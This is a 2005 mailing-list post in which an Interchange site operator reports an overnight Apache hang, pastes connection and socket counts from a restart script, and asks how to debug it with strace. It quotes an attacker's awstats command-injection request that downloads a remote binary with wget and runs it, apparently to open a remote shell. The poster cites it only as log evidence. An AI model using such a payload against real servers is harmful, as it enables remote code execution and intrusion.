[ic] mod_interchange and Apache MaxClients

[John1]

Last night the website stopped responding at 03:55 in the morning when there 
was hardly any traffic to the website.  Ron's script successfully restarted 
Apache and Interchange and here is the output from the Alert e-mail:

############
Server process count and connections count before restarting Apache & 
Interchange.

Sun Nov 20 03:55:31 GMT 2005

16 connections to Apache port 80
0 connections to Apache port 443
24 Apache processes
7 IC processes
35 MySQL processes

Number of TCP and UDP connections for each IP, grouped by state
      3 our_website's_IP  CLOSE_WAIT
      3 our_website's_IP  FIN_WAIT2
    10 hackers_IP           CLOSE_WAIT

Number of active Unix domain sockets, grouped by state and path
      1 STREAM /usr/local/interchange/etc/socket.ipc
     10 DGRAM
     17 STREAM /usr/local/interchange/etc/socket
     23 STREAM /var/lib/mysql/mysql.sock
     96 STREAM
##############

The Apache access log shows just 3 entries before the site went down, all 
from hackers_IP.  For interest, these were along the lines of:

/cgi-bin/awstats/awstats.pl/?configdir=|echo;echo YYY;cd /tmp;wget 
x.x.x.x/flisten;chmod +x listen;./listen y.y.y.y;echo YYY;echo|

where x.x.x.x and y.y.y.y were two remote IP addresses.  BTW, I don't have 
awstats installed, and resending the above request from my browser doesn't 
cause any problems - I just get the Interchange missing.html page as you 
would expect.

I have searched the interchange error log, the catalog error log and the 
apache error log and can find no evidence at all of any problem prior to the 
site going down, but it seems clear that this hacker must have sent 
something to Apache that caused Apache, mod_interchange or interchange to 
hang.

Notice from the above that hackers_IP had 10 connections to the server in 
the CLOSE_WAIT state just before Apache and Interchange were restarted by 
the script.  There were also another 6 connections where the foreign address 
was actually the same as local address i.e. both were the IP address of the 
website - I am not sure why localhost would have a connection open to 
itself - I am intrigued, but I am sure it is not relevant to the server 
going down.

So it seems to me we somehow need some more debugging information.  Racke 
mentioned using strace early on in this thread:

"First of all you should try to strace all the IC processes to see if it
does system calls and watch your logfiles (IC and system logfiles) as well.
If no system calls happened it might caught up in an infinite loop 
somewhere."

Can someone explain how I might use strace?  I won't be able to interpret 
the output myself but I am happy to post snippets in the hope that it may be 
useful to others in tracking down the problem.  Any other ideas on how to 
track down what may be bringing the site down? Thanks 


		
___________________________________________________________ 
WIN ONE OF THREE YAHOO! VESPAS - Enter now! - http://uk.cars.yahoo.com/features/competitions/vespa.html